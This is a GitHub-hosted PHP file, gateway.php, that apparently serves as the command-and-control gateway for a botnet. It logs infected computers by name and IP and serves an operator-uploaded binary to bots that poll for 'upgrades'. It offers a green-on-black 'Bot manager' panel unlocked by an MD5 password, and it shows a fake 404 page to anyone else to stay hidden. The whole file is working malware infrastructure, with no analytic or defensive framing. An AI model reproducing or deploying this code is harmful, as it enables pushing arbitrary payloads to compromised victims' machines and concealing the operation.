-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathgateway.php
201 lines (180 loc) · 5.47 KB
/
gateway.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
<?php
/*
** Gateway de controle do bot.
** Instalação: abrir ao menos uma vez no browser para o script criar os diretórios e arquivos.
*/
error_reporting(0);
/* Configurações. */
$hash = "21232f297a57a5a743894a0e4a801fc3"; // admin - Senha em MD5.
// Login: http://HOST/gateway.php?action=pn&data=admin
// Inicialização.
if (!file_exists('infects/')) {
mkdir('infects/', 0777);
if (($fp = fopen('infects/index.html', 'w')) !== false)
fclose($fp);
}
if (!file_exists('files/')) {
mkdir('files/', 0777);
if (($fp = fopen('files/index.html', 'w')) !== false)
fclose($fp);
if (($fp = fopen('files/downloaded.txt', 'w')) !== false)
fclose($fp);
}
// Novo infect.
if (isset($_GET['action']) && $_GET['action'] == 'nw' &&
isset($_GET['data']) && !empty($_GET['data'])) {
$computer = $_GET['data'];
$date = date('d-m-y');
if (($fp = fopen("infects/{$_SERVER['REMOTE_ADDR']}-{$computer}.txt", 'a+')) !== false) {
$content = "Computer name: {$computer}\n";
$content .= "IP: {$_SERVER['REMOTE_ADDR']}\n";
$content .= "Date: {$date}\n\n";
fwrite($fp, $content);
fclose($fp);
}
}
// Verifica se existe arquivo para ser baixado.
if (isset($_GET['action']) && $_GET['action'] == 'cw') {
if (file_exists('files/928923')) {
if (($fp = fopen('files/downloaded.txt', 'r')) === false) {
if (($fp = fopen('files/downloaded.txt', 'w')) !== false) {
fclose($fp);
}
}
if (($fp = fopen('files/downloaded.txt', 'r')) !== false) {
$is_blacklist = false;
while (!feof($fp)) {
if (strcmp(str_replace(array("\r", "\n"), '', fgets($fp)), $_SERVER['REMOTE_ADDR']) == 0) {
$is_blacklist = true;
break;
}
}
fclose($fp);
}
if ($is_blacklist === false) {
if (($fp = fopen('files/downloaded.txt', 'a+')) !== false) {
fwrite($fp, "{$_SERVER['REMOTE_ADDR']}\n");
fclose($fp);
die("\r\nYES\r\n");
}
}
}
die("\r\nNOT\r\n");
}
// Envia binário para aplicação.
if (isset($_GET['action']) && $_GET['action'] == 'rw') {
if (file_exists('files/928923')) {
header("Content-Type: application/octet-stream");
header("Content-Length: ". filesize('files/928923'));
header("Content-Disposition: attachment; filename=". basename('files/928923'));
readfile('files/928923');
}
exit();
}
// Recebe arquivo da área de cotrole.
if (isset($_FILES['file']['name'])) {
unlink('files/928923');
move_uploaded_file($_FILES['file']['tmp_name'], 'files/928923');
}
// Cancela upgrade.
if (isset($_GET['action']) && $_GET['action'] == 'pn' &&
md5($_GET['data']) == $hash && $_GET['ac'] == 'stop') {
unlink('files/928923');
}
// Painel de controle.
if (isset($_GET['action']) && $_GET['action'] == 'pn' && md5($_GET['data']) == $hash) {
$totalInfects = 0;
$totalUpgrades = 0;
$statusUpgrades = '<font style="color: red; font-size: 11px;"><b>NOT</b></font>';
if ($handle = opendir('infects/')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != ".." && $entry != "index.html") {
$totalInfects++;
}
}
closedir($handle);
}
if (file_exists('files/928923')) {
$statusUpgrades = '<font style="color: green; font-size: 11px;"><b>YES</b></font>';
if (($fp = fopen('files/downloaded.txt', 'r')) !== false) {
while (!feof($fp)) {
if (strlen(str_replace(array("\n", "\r"), '', fgets($fp))) > 0)
$totalUpgrades++;
}
fclose($fp);
}
}
?>
<html>
<head>
<meta charset="UTF-8" />
<title>Bot manager.</title>
<style>
body {
background-color: #000000;
color: #00FF00;
}
</style>
<script type="text/javascript" >
function Enviar(){
document.formfile.submit();
}
function Cancelar(){
window.location.href = '<?php echo $_SERVER['PHP_SELF']; ?>?action=pn&data=<?php echo $_GET['data']; ?>&ac=stop';
}
function Refresh(){
window.location.href = '<?php echo $_SERVER['PHP_SELF']; ?>?action=pn&data=<?php echo $_GET['data']; ?>';
}
</script>
</head>
<body>
<table width="350" cellpadding="0" cellspacing="2" border="0" >
<tr>
<td align="left">Statistics.<br><br></td>
<td align="right">
<input type="button" value="Refresh" onclick="Javascript: Refresh();" />
<br><br>
</td>
</tr>
<tr>
<td align="left">Infect: </td>
<td align="right"><?php echo $totalInfects; ?></td>
</tr>
<tr>
<td align="left">Upgraded: </td>
<td align="right"><?php echo $statusUpgrades; ?> - <?php echo $totalUpgrades; ?></td>
</tr>
<form name="formfile" enctype="multipart/form-data" action="<?php
echo $_SERVER['PHP_SELF']; ?>?action=pn&data=<?php echo $_GET['data']; ?>" method="POST" >
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
<tr>
<td align="left">
<br><input name="file" type="file" />
</td>
<td align="right">
<br><input type="button" value="Send" onclick="Javascript: Enviar();" />
</td>
</tr>
</form>
<tr>
<td align="right" colspan="2" >
<input type="button" value="Cancel upgrade" onclick="Javascript: Cancelar();" />
</td>
</tr>
</table>
</body>
</html>
<?php
} else {
?><!DOCTYPE HTML PUBLIC "-//IETF/ /DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?php echo $_SERVER['REQUEST_URI']; ?> was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body>
</html><?php } ?>